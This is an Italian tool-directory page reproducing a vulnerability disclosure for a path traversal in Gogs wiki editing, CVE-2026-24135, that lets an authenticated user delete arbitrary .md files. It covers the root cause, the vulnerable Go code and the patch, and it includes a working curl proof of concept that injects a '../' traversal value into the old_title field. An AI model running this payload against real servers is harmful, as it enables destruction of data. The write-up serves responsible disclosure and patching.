Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-24135 — Eliminazione arbitraria di file in Gogs tramite Path Traversal nel Wiki | Kitploit
Strumenti/GitHubGitHub/reschjonas/cve-2026-24135
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingApprendimento e Formazione
GitHubreschjonas/cve-2026-24135

CVE-2026-24135

Eliminazione arbitraria di file in Gogs tramite Path Traversal nel Wiki

Vedi Repository
113 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-24135: Eliminazione arbitraria di file in Gogs tramite path traversal nel Wiki

Gravità: Alta (CVSS 7.5)
Software interessato: Gogs <= 0.13.3
Corretto in: 0.13.4, 0.14.0+dev
Avviso: GHSA-jp7c-wj6q-3qf2
Patch: gogs/gogs#8099


Riepilogo

Durante un audit di sicurezza di Gogs (un popolare servizio Git self-hosted scritto in Go), ho trovato una vulnerabilità di path traversal nella funzione updateWikiPage. Consente a un utente autenticato con accesso in scrittura al wiki di eliminare file arbitrari sul server iniettando sequenze di path traversal nel parametro old_title del modulo di modifica del wiki.


Causa principale

La vulnerabilità è un difetto di sanitizzazione asimmetrica in internal/database/wiki.go. Quando una pagina wiki viene aggiornata, la funzione gestisce due parametri del titolo in modo diverso:

ParametroSanitizzato?Utilizzato in
title (nuovo nome)Sì — tramite ToWikiPageName()path.Join() per la creazione del file
oldTitle (nome precedente)Nopath.Join() + os.Remove()

Codice vulnerabile

root@kitploit:~
// internal/database/wiki.go

// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // ← VULNERABILE
}

Il valore oldTitle scorre direttamente dall'input utente controllato (modulo) attraverso il gestore di rotta fino a os.Remove() senza alcuna sanitizzazione del percorso.


Flusso dei dati

root@kitploit:~
Input utente (Modulo)          Gestore della rotta                    Funzione database
┌─────────────────┐            ┌─────────────────────┐                ┌──────────────────────────┐
│ f.OldTitle      │───────────>│ EditWikiPost()      │───────────────>│ updateWikiPage()         │
│ (non sanitizzato)│           │ wiki.go:246          │                │                          │
└─────────────────┘            │                      │                │ Line 114:                │
                               │ Nessuna sanitizzazione!│              │ os.Remove(path.Join(     │
                               │                      │                │   localPath,             │
                               └──────────────────────┘                │   oldTitle+".md"))       │
                                                                       └──────────────────────────┘

Vettore d'attacco

Prerequisiti: Utente autenticato con accesso in scrittura al wiki di qualsiasi repository.

  1. Navigare per modificare una pagina wiki esistente
  2. Intercettare la richiesta POST a /repo/wiki/edit
  3. Modificare il campo del modulo old_title includendo sequenze di path traversal (ad es. ../../../../tmp/target_file)
  4. Inviare la richiesta
  5. Il server risolve il percorso di traversal ed elimina il file bersaglio

Prova di concetto

root@kitploit:~
# Step 1: Autenticarsi e creare/modificare una pagina wiki
# Step 2: Intercettare la richiesta POST e iniettare il traversal in old_title

curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session_cookie>" \
  -d "old_title=../../../../../../../tmp/target_file" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# Risultato: /tmp/target_file.md viene eliminato dal server

L'estensione .md viene aggiunta automaticamente. Qualsiasi file che termina con .md su cui il processo Gogs ha permessi di scrittura può essere eliminato.


Impatto

ImpattoDescrizione
Eliminazione arbitraria di fileElimina qualsiasi file .md su cui il processo Gogs può scrivere
Denial of ServiceRimuove file critici di configurazione o dati
Perdita di datiDistrugge pagine wiki di altri utenti, documentazione o file del repository
Potenziale escalationCombinato con altre vulnerabilità, potrebbe portare a ulteriori compromissioni

Correzione

Applica la stessa sanitizzazione ToWikiPageName a oldTitle già applicata a title:

root@kitploit:~
 func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
     // ... codice esistente ...

     title = ToWikiPageName(title)

+    // Sanitizzare oldTitle per prevenire path traversal
+    if oldTitle != "" {
+        oldTitle = ToWikiPageName(oldTitle)
+    }

     filename := path.Join(localPath, title+".md")
     // ...
 }

Ho proposto questa correzione durante la divulgazione e i manutentori di Gogs l'hanno implementata in PR #8099.


Cronologia della divulgazione

DataEvento
2025-12-13Vulnerabilità scoperta durante audit di sicurezza
2025-12-13Avviso inviato tramite GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2)
2026-01-20Follow-up con i manutentori di Gogs
2026-01-20Il manutentore ha riconosciuto la vulnerabilità
2026-01-22Patch unita (#8099)
2026-01-22CVE-2026-24135 assegnato da GitHub
2026-02-06Divulgazione pubblica

Riferimenti

  • GitHub Security Advisory: GHSA-jp7c-wj6q-3qf2
  • Patch: gogs/gogs#8099
  • Gogs Project
Scarica lo strumento